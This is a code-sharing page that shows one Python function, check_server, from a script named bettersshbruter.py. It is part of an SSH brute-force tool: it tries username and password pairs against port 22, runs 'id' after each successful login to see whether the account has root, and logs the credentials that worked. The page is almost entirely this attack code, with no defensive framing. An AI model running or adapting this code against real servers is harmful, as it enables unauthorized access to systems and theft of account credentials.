bettersshbruter.py 文件源码

python
阅读 31 收藏 0 点赞 0 评论 0

项目:tools 作者: okabe 项目源码 文件源码
def check_server( host, user, passwd ):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy( paramiko.AutoAddPolicy() )
    try:
        ssh.connect( host, port=22, username=user, password=passwd, timeout=10 )
        printq.put( "[+] Login success: {}:{}@{}".format( user, passwd, host ) )
        ( stdin, stdout, stderr ) = ssh.exec_command( "id" )
        result = " ".join( [ line.rstrip( "\n" ) for line in stdout.readlines() ] ).rstrip( "\n" )
        if "uid=0" in result:
            status = "root privs"
            printq.put( "[+] Login success: {}:{}@{} - {}".format( user, passwd, host, status ) )
        else:
            printq.put( "[+] Login success: {}:{}@{}".format( user, passwd, host ) )
    except paramiko.AuthenticationException:
        printq.put( "[!] Login failed: {}:{}@{}".format( user, passwd, host ) )
    except socket.error:
        printq.put( "[!] Socket Error... skipping: {}:{}@{}".format( user, passwd, host ) )
    except paramiko.ssh_exception.SSHException:
        printq.put( "[!] Socket Error... skipping: {}:{}@{}".format( user, passwd, host ) )
    except Exception as ERROR:
        printq.put( "[!] Error - {}... skipping: {}:{}@{}".format( ERROR, user, passwd, host ) )
    ssh.close()
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号